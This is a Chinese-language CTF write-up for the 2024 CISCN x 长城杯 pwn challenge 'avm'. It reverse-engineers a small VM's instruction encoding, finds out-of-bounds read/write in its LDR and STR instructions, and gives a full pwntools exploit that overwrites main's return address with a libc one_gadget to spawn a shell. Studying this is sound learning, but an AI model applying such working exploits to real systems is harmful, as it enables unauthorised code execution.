[ 2024 · CISCN x 长城杯 ] pwn avm

2024 CISCN x 长城杯 AVM

avm

VM入门题。不过挺吃逆向经验的。之前都是复现,这算是第一次比赛的时候做出vm题。这个题的逆向思路非常经典,所以分享一下。

1.程序逆向

函数主函数如下:

unsigned __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _BYTE s[3080]; // [rsp+0h] [rbp-C10h] BYREF
  unsigned __int64 v5; // [rsp+C08h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  memset(s, 0, 0x300uLL);
  write(1, "opcode: ", 8uLL);
  read(0, s, 0x300uLL);
  sub_1230(&unk_40C0, s, 768LL);
  sub_19F1(&unk_40C0);
  return v5 - __readfsqword(0x28u);
}

memset了0x300的内存,write提示这块内存作为opcode输入,所以可以得到s变量就是opcode,之后的sub_1230和sub_19F1函数就是对我们输入的opcode的处理了。也是这个vm的主要功能

1.1 寄存器结构体逆向

首先看sub_1230函数:

_QWORD *__fastcall sub_1230(_QWORD *a1, __int64 opcode, __int64 size)
{
  _QWORD *result; // rax
  int i; // [rsp+24h] [rbp-4h]

  a1[33] = opcode;
  a1[34] = size;
  result = a1;
  a1[32] = 0LL;
  for ( i = 0; i <= 31; ++i )
  {
    result = a1;
    a1[i] = 0LL;
  }
  return result;
}

for循环有一个非常经典的循环32次置空的操作,这个是把32个通用寄存器置空的操作
另外从数组的32到34赋值操作的含义分别:
为33号寄存器赋值opcode的基地址
为34号寄存器赋值opcode的最大长度,可能是用来限制指令读取,防止越界的。
32号寄存器赋值为空,这里暂时不知道作用是什么。

之后可以为IDA编辑如下结构体:

   struct registers{
	   __int64 r[32];
	   __int64 unknown;
	   __int64 op_base;
	   __int64 op_size;
   };

之后去逆向sub_19F1函数

unsigned __int64 __fastcall sub_19F1(_QWORD *a1)
{
  unsigned int v2; // [rsp+1Ch] [rbp-114h]
  _BYTE s[264]; // [rsp+20h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+128h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 0, 0x100uLL);
  while ( a1[32] < a1[34] )
  {
    v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28;
    if ( v2 > 0xA || !v2 )
    {
      puts("Unsupported instruction");
      return v4 - __readfsqword(0x28u);
    }
    (funcs_1AAD[v2])(a1, s);
  }
  return v4 - __readfsqword(0x28u);
}

程序上来先memset了0x100的内存,并在执行指令时将内存作为参数传递:(funcs_1AAD[v2])(a1, s);
其中,v2来锁定执行的是哪条命令:

v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28;是将opcode转换为指令的译码过程。
其中已知33号寄存器是基地址,那么32号寄存器应该就是偏移地址。两个地址相加处理后的地址是当前执行的指令地址,对当前指令地址右移28位就是指令的操作码。

可以看到这个是一个定长的指令集hh

那么现在可以将结构体修改为下面的样子了:

   struct registers{
	   __int64 r[32];
	   __int64 ip;
	   __int64 cs;
	   __int64 op_size;
   };

之后去逆向指令即可

1.2 指令逆向

我们从第一个开始分析:下面是已经逆向好的内容:

Reg *__fastcall ADD(Reg *reg)
{
  Reg *result; // rax
  unsigned int PC; // [rsp+10h] [rbp-10h]

  PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL));
  reg->ip += 4LL;
  result = reg;
  reg->r[PC & 0x1F] = reg->r[HIWORD(PC) & 0x1F] + reg->r[(PC >> 5) & 0x1F];
  return result;
}

此处我们逆向的目的是分析指令编码情况:

  • 通过 reg->r[PC & 0x1F]我们可以看到,指令的低5位是用来指定通用寄存器序号的(0x1f),并且是保存操作结果的
  • 之前v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28;可以看到,指令的高36位(64位定长指令)或者高4位(32位定长指令)是用来指定指令操作码的
  • reg->ip += 4LL;可以看到,以4字节为一个单位长度,代表指令是32位。

指令码大致如下:32bit:

0001 |0000 000|0 0000  | 0000 00| 00 000 |0 0000
操作码|        |操作reg号|        | reg号   |reg号
仅1~10          |                 |
             HIWORD(PC) & 0x1F     |
                               (PC >> 5) & 0x1F

之后其他指令都与此类似。唯二两个不同的指令如下:

unsigned __int64 __fastcall STR(Reg *reg, __int64 s)
{
  unsigned __int64 result; // rax
  unsigned int PC; // [rsp+20h] [rbp-20h]
  _QWORD *v4; // [rsp+30h] [rbp-10h]

  PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL));
  reg->ip += 4LL;
  result = byte_4010;
  if ( (reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < byte_4010 )
  {
    v4 = ((reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF)) + s);
    *v4 = reg->r[PC & 0x1F];
    return v4;
  }
  return result;
}
Reg *__fastcall LDR(Reg *reg, __int64 s)
{
  Reg *result; // rax
  unsigned __int16 v3; // [rsp+1Eh] [rbp-22h]
  unsigned int PC; // [rsp+20h] [rbp-20h]

  PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL));
  reg->ip += 4LL;
  result = byte_4010;
  if ( (reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < byte_4010 )
  {
    result = reg;
    v3 = reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF);
    reg->r[PC & 0x1F] = (*(v3 + s + 7) << 56) | (*(v3 + s + 6) << 48) | (*(v3 + s + 5) << 40) | (*(v3 + s + 4) << 32) | (*(v3 + s + 3) << 24) | (*(v3 + s + 2) << 16) | *(v3 + s);
  }
  return result;
}

byte_4010中存的是0xff,if检查判断要求之后操作的地址范围在之前memset的0x100以内

检查条件如下:

if ( (unsigned __int8)(reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < (unsigned __int8)byte_4010 )

STR指令赋值操作:

v4 = ((reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF)) + s);

s是memset内存的基地址,(reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF))是偏移

这里可以看到检测条件是0xff以内,但是if里面的赋值操作却可以写s加0x1000偏移以内的数据

2.漏洞利用

很明显,LDR和STR存在越界读写漏洞
没有输出函数,无法获得libc,打法是:

  • 先构造一个LDR把一个onegadget附件的libc地址写入寄存器。
  • 利用SUB指令将这个libc减去和onegadget的偏移,结果保存在指定寄存器中
  • 利用STR把onegadget地址写入到main函数返回地址上。

这里解释一下下面的exp,sub操作只能在寄存器之间操作。所以无法直接写入一个我们希望的数据。利用方法是:先在opcode末尾加入我们计算好的onegadget与指定libc地址的偏移,然后通过STR指令将这个数据读入到寄存器中,再sub即可

3.exp

from ctypes import *
from pwn import *
banary = "/home/giantbranch/PWN/question/CISCN/2025/avm/pwn"
elf = ELF(banary)
# libc = ELF("/home/giantbranch/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("/home/giantbranch/PWN/tools/libc-database-master/db/libc6_2.27-3ubuntu1.6_amd64.so")
ip = '8.147.135.93'
port = 37051
local = 1
if local:
    io = process(banary)
else:
    io = remote(ip, port)

# context(log_level = 'debug', os = 'linux', arch = 'amd64')
context(log_level = 'debug', os = 'linux', arch = 'i386')

def protect_ptr(address, next)-> int:
	return (address >> 12)^ next
def dbg():
    gdb.attach(io)
    pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()

def ADD():
    ins = 1
    opcode = ins<<28
    return p32(opcode)
def SUB(target_reg,sub_reg,besub_reg):
    ins = 2
    sub_reg = (sub_reg & 0x1f) << 5
    besub_reg = (besub_reg & 0x1f) << 16 
    opcode = (ins<<28) + (target_reg & 0x1f) + sub_reg + besub_reg
    return p32(opcode)
def STR(reg_idx,offset,store_reg):
    ins = 9
    reg_idx = (reg_idx & 0x1f) << 5
    offset = (offset & 0xfff) << 16
    opcode = (ins<<28) + (store_reg & 0x1f) + reg_idx + offset
    return p32(opcode)
def LDR(reg_idx,offset,save_reg):
    ins = 10
    reg_idx = (reg_idx & 0x1f) << 5
    offset = (offset & 0xfff) << 16
    opcode = (ins<<28) + (save_reg & 0x1f) + reg_idx + offset
    return p32(opcode)

onegadget = 0x249040 - 0x50a47  #libc.sym['_dl_fini']

opcode = LDR(0,0xa40,1) + LDR(0,0x138,2)
opcode += SUB(4,1,2) + STR(0,0x118,4) 
opcode += p64(0)
opcode += p64(onegadget)
# dbg()
sa(b'opcode',opcode)



# 0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL
#   rbp == NULL || (u16)[rbp] == NULL

# 0xebc81 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xebc88 execve("/bin/sh", rsi, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL


ia()
posted @ 2024-12-27 20:31  seyedog  阅读(281)  评论(0)    收藏  举报